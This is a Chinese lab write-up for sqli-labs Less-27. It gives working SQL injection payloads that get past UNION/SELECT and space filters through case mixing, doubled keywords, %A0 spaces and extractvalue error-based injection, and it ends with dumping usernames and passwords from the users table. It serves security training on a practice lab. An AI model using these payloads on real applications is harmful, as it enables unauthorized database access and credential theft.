MySQL-union和select绕过

  • Post author:
  • Post category:mysql


#绕过union和select绕过方式


1.大小写绕过

?id=0’%A0u

NI

on%A0se

LE

c

T

%A01,2,3%A0and%A0’1’=’1

2.复写单词绕过

?id=0’%A0uni

union

on%A0s

select

elect%A01,2,3%A0and%A0’1’=’1

3.报错注入

#演示案例

1.复写绕过


sqli-labs-master/Less-27


1.判断闭合方式,

判断是否有注入点

?id=1’%A0and%A0’1’=’1

首先丢个参数进去

?id=1

页面正常回显

随便丢个’引号进去,确定一下闭合方式

页面回显

”1” LIMIT 0,1′

‘1



‘ LIMIT 0,1

红色部分来自我的输入

确定闭合方式’单引号闭合

输入#号 ,将后面的内容都注释掉

页面还是报错,并不是我们输入的有问题

重点看蓝色部分,他把我们输入的 #给过滤掉了

本来我们输入的是?id=1’#

到了数据库就变成了?id=1′

所以报错。

以上推论注释符被过滤

使用and ‘1’=’1 进行手动闭合

页面回显虽然正常,但是还是重点看蓝色的部分,我们输入的空格被过滤掉了

原本是?id=1′ and  ‘1’=’1

变成了 ?id=1’and’1’=’1

使用%A0代替空格,此时才是正常的

输入 ?id=1’%A0and%A0’1’=’2

页面报错 ,确定有注入点

2.确定数据库的字段数

/?id=1’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1

这一关依旧使用order by测试不出来字段数还是使用union进行测试

url: ?id=1’%A0ununionion%A0sselectelecT%A01,2%A0and%A0’1’=’1

报错

url:?id=1’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1

测试到3的时候页面正常回显。确定页面一共3个字段

3.确定显示再页面的字段

?id=0’%A0ununionion%A0sselectelecT%A01,2,3%A0and%A0’1’=’1

因为源码把-号也给过滤了,所以只能使用0或者一个不存在的值

确定显示字段为1,2

4.获取数据库名

?id=0’%A0ununionion%A0seselectlecT%A01,(database()),3%A0and%A0’1’=’1


确定当前数据库名为security

5.获取所有数据表

?id=0’%A0ununionion%A0sselecteleCt%A01,(sselectelecT%A0group_concat(table_name)

from%A0information_Schema.tables%A0where%A0

table_schema=database()),3%A0and%A0’1’=’1

数据表为

emails,

referers,

uagents,

users

6.获取字段(列)信息

?id=0’%A0ununionion%A0sselecteleCt%A01,(sselectelecT%A0group_concat(column_name)

from%A0information_Schema.columns%A0where%A0

table_schema=database()%A0and%A0table_name=’users’),3%A0and%A0’1’=’1


字段为

id,

username,

password

7.拖库

?id=0’%A0uunionnion%A0sselectelecT%A01,(sselectelecT%A0group_concat(username,’~~’,password)from%A0security.users),

3%A0and%A0’1’=’1


2.大小写绕过

1.判断闭合方式,判断是否有注入点

输入个参数页面正常回显

丢个’号进去页面报错

确定闭合方式’单引号闭合

输入注释符,将后面的代码注释

从页面回显来看,我们输入的注释符被过滤了

使用and  ‘1’=’1 进行手动闭合

从蓝色部分来看,我们输入的空格也被过滤了

使用%A0代替空格 ,页面正常

输入?id=1’%A0and%A0’1’=’2

页面报错确定存在注入点

2.确定字段数

?id=1’%A0UnIOn%A0SelecT%A01,2,3%A0and%A0’1’=’1

url:?id=1’%A0UnIOn%A0SelecT%A01,2%A0and%A0’1’=’1

从1字段一直查询到2字段的时候,页面都报错

当查询到3的时候页面正常回显,确定一共3个字段

3.确定回显位

id=0’%A0UnIOn%A0SelecT%A01,2,3%A0and%A0’1’=’1

确定回显再页面的字段为1,2

4.获取数据库

?id=0’%A0uNiOn%A0sELeCt%A01,(database()),3%A0and%A0’1’=’1

确定当前 数据库为Security

5.获取数据表

?id=0’%A0UnIoN%A0SelEcT%A01,(SeLect%A0group_concat(table_name)from%A0information_schema.tables%A0

where%A0table_schema=database()),3%A0and%A0’1’=’1

emails,referers,uagents,users

6.获取列(字段)信息

?id=0’%A0UnIoN%A0SelEcT%A01,(SeLect%A0group_concat(column_name)from%A0information_schema.columns%A0

where%A0table_schema=database()%A0and%A0table_name=’users’),3%A0and%A0’1’=’1


id,

username,

password

7.拖库

?id=0’%A0UnIon%A0SeLeCT%A01,(SeLeCt%A0group_concat(username,’~~’,password)

from%A0security.users),3%A0and%A0’1’=’1


3.使用报错注入

1.判断闭合方式确定是否有注入点

/?id=1’%A0and%A0’1’=’2

输入个参数,页面正常回显

经页面回显,判断闭合方式为’单引号闭合

使用注释符进行闭合,看页面能否正常显示

从页面和蓝色部分判断他把我们输入的#注释符给吃了

使用单引号进行手动闭合。闭合成功了但是他把空格也给过滤了

使用%A0代替 空格,蓝色部分回显成功。并且页面没有报错

使用and ‘1’=’2

页面报错,确定有注入点。

并且从上面我们再输入’单引号的时候,页面有爆粗回显,确定可以使用报错注入

以上结果,将空格过滤,将注释符过滤。

2.获取数据库名

?id=1’%A0and%A0extractvalue(1,concat(‘~’,(database())))%A0and%A0’1’=’1

经页面回显,数据库名为Security

3.获取数据表

?id=1’%A0and%A0extractvalue(1,concat(1,concat(‘~’,(sElEcT%A0group_concat(table_name)from

%A0information_schema.tables%A0where%A0table_schema=database()))))

%A0and%A0’1’=’1


4.获取(列)字段信息

?id=1’%A0and%A0extractvalue(1,concat(1,concat(‘~’,(sElEcT%A0group_concat(column_name)from

%A0information_schema.columns%A0where%A0table_schema=database()

%A0and%A0table_name=’users’))))%A0and%A0’1’=’1

~id,username,password’

5.拖库

/?id=1’%A0and%A0extractvalue(1,concat(‘~’,(substr((sElEct%A0group_concat(username,’!!’,password)from%A0security.users),1,30))))%A0and%A0’1’=’1



版权声明:本文为m0_72755466原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。